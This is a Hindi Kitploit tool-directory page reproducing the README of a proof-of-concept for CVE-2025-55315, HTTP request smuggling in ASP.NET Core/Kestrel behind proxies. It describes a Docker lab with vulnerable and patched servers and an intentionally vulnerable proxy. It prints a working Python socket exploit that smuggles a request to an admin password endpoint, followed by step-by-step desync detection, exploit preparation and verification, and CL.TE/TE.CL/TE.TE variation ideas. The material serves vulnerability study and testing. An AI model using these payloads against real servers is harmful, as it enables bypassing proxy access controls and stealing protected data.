Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-55315 — CVE-2025-55315 (.NET HTTP अनुरोध तस्करी) के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण। दर्शाता है कि अनुचित रूप से पार्स किया गया चंक्ड एन्कोडिंग हमलावरों को कमजोर ASP.NET Core/Kestrel सर्वरों में प्रॉक्सी और लोड बैलेंसर से अनुरोधों की तस्करी करने की अनुमति देता है। | Kitploit
उपकरण/GitHubGitHub/martinfabianionut/cve-2025-55315
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubmartinfabianionut/cve-2025-55315

CVE-2025-55315

CVE-2025-55315 (.NET HTTP अनुरोध तस्करी) के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण। दर्शाता है कि अनुचित रूप से पार्स किया गया चंक्ड एन्कोडिंग हमलावरों को कमजोर ASP.NET Core/Kestrel सर्वरों में प्रॉक्सी और लोड बैलेंसर से अनुरोधों की तस्करी करने की अनुमति देता है।

रिपॉजिटरी देखें
139 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-55315

CVE-2025-55315 (.NET HTTP Request Smuggling) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। यह दर्शाता है कि किस प्रकार अनुचित तरीके से पार्स किया गया चंक्ड एन्कोडिंग हमलावरों को कमजोर ASP.NET Core/Kestrel सर्वरों में प्रॉक्सी और लोड बैलेंसर्स के पीछे अनुरोधों को तस्करी करने देता है।

📊 प्रस्तुति

इंटरैक्टिव Prezi प्रस्तुति देखें

Prezi Presentation

🎥 पूर्ण इंटरैक्टिव प्रस्तुति देखने के लिए ऊपर दिए गए बैज पर क्लिक करें

परियोजना संरचना

  • Api - एकीकृत ASP.NET Core API दो Dockerfiles के साथ:
    • Dockerfile.vulnerable - .NET 10.0.100-rc.1 का उपयोग करता है (CVE-2025-55315 के प्रति संवेदनशील)
    • Dockerfile.patched - .NET 10.0.100 (पैच किया गया संस्करण) का उपयोग करता है
  • PythonProxy - CVE-2025-55315 एक्सप्लॉइट प्रदर्शन के लिए उपयोग किया जाने वाला कमजोर प्रॉक्सी (Content-Length को Transfer-Encoding पर प्राथमिकता देता है)
  • YarpProxy - लोड बैलेंसिंग के परीक्षण के लिए YARP रिवर्स प्रॉक्सी (एक्सप्लॉइट का भाग नहीं)

नोट: कमजोरी .NET रनटाइम के HTTP पार्सर (Kestrel) में है, एप्लिकेशन कोड में नहीं। दोनों संस्करण समान स्रोत कोड लेकिन विभिन्न .NET रनटाइम संस्करणों का उपयोग करते हैं।

त्वरित प्रारंभ

root@kitploit:~
# Build and run all services
docker-compose up --build

# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028

विस्तृत Docker उपयोग निर्देशों के लिए DOCKER.md देखें।

एक्सप्लॉइट प्रदर्शन

Python प्रॉक्सी Content-Length को Transfer-Encoding पर प्राथमिकता देकर CVE-2025-55315 का प्रदर्शन करता है, जिससे HTTP अनुरोध तस्करी संभव होती है:

root@kitploit:~
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "2;\n"
    "xx\r\n"
    "39\r\n"
    "0\r\n"
    "\r\n"
    "GET /passwords/admin HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
)

import socket
import time

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5027))
    s.sendall(payload.encode())
    
    # Read all available data
    s.settimeout(2.0)
    responses = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            responses += chunk
    except socket.timeout:
        pass
    
    print("=== Complete Response ===")
    print(responses.decode('utf-8', errors='ignore'))
    print("\n=== Checking for smuggled request response ===")
    if b'/passwords/admin' in responses or b'admin' in responses:
        print("✓ Successfully smuggled request to /passwords/admin!")
    else:
        print("✗ Exploit failed or blocked")

यह पेलोड प्रॉक्सी के सुरक्षा जांच को पार करते हुए /passwords/admin पर दूसरा अनुरोध तस्करी करता है, प्रॉक्सी और बैकएंड सर्वर के बीच अनुरोध पार्सिंग में असमानता का शोषण करता है।

विज़ुअल अनुरोध व्याख्या

यहाँ दिखाया गया है कि प्रॉक्सी और बैकएंड सर्वर एक ही पेलोड की अलग-अलग व्याख्या कैसे करते हैं:

प्रॉक्सी व्याख्या (\n को मान्य लाइन एंडिंग के रूप में स्वीकार करता है):

root@kitploit:~
flowchart TD
    subgraph Proxy_Request_1 ["🔴 Request 1 - Proxy View"]
        PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        PCH1["<b>2;\n</b><br/><i>chunk header (accepts \n)</i>"]
        PCB1["<b>xx</b><br/><i>chunk body - 2 bytes</i>"]
        PCH2["<b>39</b><br/><i>chunk header</i>"]
        PCB2["<i>chunk body - 57 bytes</i><br/>(contains smuggled request)"]
        PLK["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Proxy_Ignored ["⚫ Ignored by Proxy"]
        PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(Proxy thinks this is part of chunk body)"]
    end

    PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
    PLK -.-> PIG

बैकएंड व्याख्या (\n को अस्वीकार करता है, \r\n आवश्यक है):

root@kitploit:~
flowchart TD
    subgraph Backend_Request_1 ["🟢 Request 1 - Backend View"]
        BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (invalid - part of headers)<br/><b>xx</b> (headers end here)"]
        BCB1["<b>39</b><br/><i>chunk body</i>"]
        BLK1["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Backend_Request_2 ["🟢 Request 2 - Backend View"]
        BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        BLK2["<b>0</b><br/><i>last chunk</i>"]
    end

    BH1 --> BCB1 --> BLK1
    BLK1 --> BH2 --> BLK2
    
    style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px

मुख्य अंतर:

घटकचंक आकार 2;\nपढ़े गए बाइट्सक्या होता है
प्रॉक्सी✅ मान्य चंक आकार2 बाइट्स (xx)2;\n को पूर्ण चंक हेडर मानता है, 2 बाइट पढ़ता है, अगले चंक पर जाता है
बैकएंड❌ अमान्य लाइन एंडिंगफिर भी 2 बाइट चंक के रूप में पढ़ता हैचंक हेडर xx\r\n तक समाप्त नहीं होता, इसलिए 39 चंक बॉडी बन जाता है, 0 चंक समाप्त करता है

विस्तृत व्याख्या:

  • प्रॉक्सी: 2;\n को मान्य चंक आकार घोषणा (2 बाइट) के रूप में स्वीकार करता है → xx को 2-बाइट चंक बॉडी के रूप में पढ़ता है → अगले चंक (39) पर जाता है
  • बैकएंड: \n को लाइन एंडिंग के रूप में अस्वीकार करता है → चंक आकार अभी भी 2 है लेकिन हेडर 2;\nxx\r\n तक विस्तारित होता है → 39 को चंक बॉडी के भाग के रूप में पढ़ता है → 0\r\n चंक समाप्त करता है
  • परिणाम: तस्करी किया गया GET /passwords/admin अनुरोध इस बात में छिपा है कि बैकएंड चंक डेटा के रूप में क्या मानता है, लेकिन चंक प्रसंस्करण पूर्ण होने के बाद एक अलग अनुरोध के रूप में पार्स हो जाता है

तस्करी किया गया GET /passwords/admin अनुरोध इस बात में छिपा है जिसे प्रॉक्सी चंक बॉडी डेटा समझता है, लेकिन बैकएंड इसे एक अलग HTTP अनुरोध के रूप में पार्स करता है।

कमजोरी की पहचान

शोषण से पहले, आपको यह पहचानना होगा कि विभिन्न घटक किस HTTP हेडर (Content-Length या Transfer-Encoding) को प्राथमिकता देते हैं। यहाँ चरण-दर-चरण मार्गदर्शिका है:

चरण 1: हेडर प्राथमिकता का परीक्षण

दोनों Content-Length और Transfer-Encoding: chunked हेडर के साथ एक अनुरोध भेजें ताकि देखा जा सके कि प्रत्येक घटक किसका सम्मान करता है:

root@kitploit:~
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n

विश्लेषण:

  • यदि सर्वर "Fa" (2 बाइट) को संसाधित करता है → यह Content-Length को प्राथमिकता देता है
  • यदि सर्वर "Fabian" (पूर्ण चंक बॉडी) को संसाधित करता है → यह Transfer-Encoding को प्राथमिकता देता है

चरण 2: प्रत्येक घटक का परीक्षण

असमानताएं खोजने के लिए अपने आर्किटेक्चर के सभी घटकों का परीक्षण करें:

असुरक्षित API का परीक्षण (पोर्ट 5001)

root@kitploit:~
# Using Python
import socket

test_payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 2\r\n"
    "\r\n"
    "6\r\n"
    "Fabian\r\n"
    "0\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5001))
    s.sendall(test_payload.encode())
    s.settimeout(1.0)
    try:
        response = s.recv(4096)
        print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
    except socket.timeout:
        pass

सुरक्षित API का परीक्षण (पोर्ट 5002)

root@kitploit:~
# Change port to 5002 and test
# Safe API should handle the conflict properly

Python प्रॉक्सी का परीक्षण (पोर्ट 5027)

root@kitploit:~
# Change port to 5027
# Python proxy favors Content-Length (vulnerable)

YARP प्रॉक्सी का परीक्षण (पोर्ट 5028)

root@kitploit:~
# Change port to 5028
# Test how YARP handles the header conflict

चरण 3: मैन्युअल परीक्षण के लिए Burp Suite का उपयोग

  1. अनुरोध इंटरसेप्ट करें: एक सामान्य POST अनुरोध को /passwords पर कैप्चर करें
  2. हेडर संशोधित करें: मैन्युअल रूप से दोनों हेडर जोड़ें:
root@kitploit:~
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
  1. बॉडी सेट करें: चंक एन्कोडिंग प्रारूप का उपयोग करें:
root@kitploit:~
6\r\n
Fabian\r\n
0\r\n
\r\n   
  1. प्रतिक्रियाओं की तुलना करें: विभिन्न एंडपॉइंट्स पर भेजें और विश्लेषण करें कि प्रत्येक बॉडी के किस भाग को संसाधित करता है
  2. असमानता की पहचान करें: यदि प्रॉक्सी 2 बाइट पढ़ता है लेकिन बैकएंड पूरा चंक पढ़ता है, तो आपके पास डीसिंक कमजोरी है

चरण 4: एक्सप्लॉइट तैयार करें

एक बार जब आप पहचान लें:

  • प्रॉक्सी: Content-Length को प्राथमिकता देता है (केवल N बाइट पढ़ता है)
  • बैकएंड: Transfer-Encoding को प्राथमिकता देता है (चंक बॉडी पढ़ता है)

आप एक दूसरा अनुरोध तस्करी कर सकते हैं जिसे प्रॉक्सी कभी नहीं देखता लेकिन बैकएंड संसाधित करता है।

चरण 5: एक्सप्लॉइट सत्यापित करें

पूरा एक्सप्लॉइट पेलोड चलाएं (ऊपर "एक्सप्लॉइट प्रदर्शन" अनुभाग देखें) और पुष्टि करें:

  • पहली प्रतिक्रिया: सामान्य POST परिणाम
  • दूसरी प्रतिक्रिया: व्यवस्थापक एंडपॉइंट डेटा (तस्करी किया गया अनुरोध सफल)

अनुशंसित उपकरण

  • Burp Suite: मैन्युअल अनुरोध निर्माण और हेडर हेरफेर
  • Python socket: सटीक HTTP स्वरूपण के लिए निम्न-स्तरीय नियंत्रण
  • curl with --data-binary: त्वरित कमांड-लाइन परीक्षण
  • Wireshark: पैकेट-स्तरीय विश्लेषण यह देखने के लिए कि प्रत्येक घटक वास्तव में क्या प्राप्त करता है

वैकल्पिक एक्सप्लॉइट विविधताएं

एक्सप्लॉइट को कई तरीकों से तैयार किया जा सकता है। विभिन्न दृष्टिकोणों के साथ प्रयोग करें:

स्पष्ट Content-Length के साथ

root@kitploit:~
# Add Content-Length to make the desync explicit
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Content-Length: 75\r\n"
    "Transfer-Encoding: chunked\r\n"
    # ... rest of payload
)

यह Content-Length के बिना क्यों काम करता है

  • प्रॉक्सी: \n को मान्य लाइन एंडिंग के रूप में स्वीकार करता है → 2;\n को चंक आकार मानता है → 2 बाइट (xx) पढ़ता है
  • बैकएंड: \n को अस्वीकार करता है → चंक हेडर 2;\nxx\r\n तक विस्तारित होता है → 39 चंक बॉडी बन जाता है → 0\r\n चंक समाप्त करता है
  • परिणाम: तस्करी किया गया अनुरोध चंक बॉडी में छिपा है, बैकएंड द्वारा अलग अनुरोध के रूप में पार्स किया जाता है

प्रयोग के विचार

PythonProxy/proxy_server.py को संशोधित करके विभिन्न डीसिंक परिदृश्यों का प्रयास करें:

  • CL.TE: प्रॉक्सी Content-Length का उपयोग करता है, बैकएंड Transfer-Encoding का उपयोग करता है
  • TE.CL: प्रॉक्सी Transfer-Encoding का उपयोग करता है, बैकएंड Content-Length का उपयोग करता है (अपने स्वयं के Apis बनाने का प्रयास करें)
  • TE.TE: दोनों Transfer-Encoding का उपयोग करते हैं लेकिन अलग-अलग पार्स करते हैं (जैसे \n बनाम \r\n)

इनके साथ प्रयोग करें:

  • विभिन्न चंक आकार और प्रारूप
  • अनुक्रम में कई तस्करी किए गए अनुरोध
  • विभिन्न HTTP विधियाँ (GET, POST, PUT, DELETE) - आप उन्हें Apis में जोड़ सकते हैं
  • व्हाइटस्पेस और विशेष वर्ण
टूल डाउनलोड करें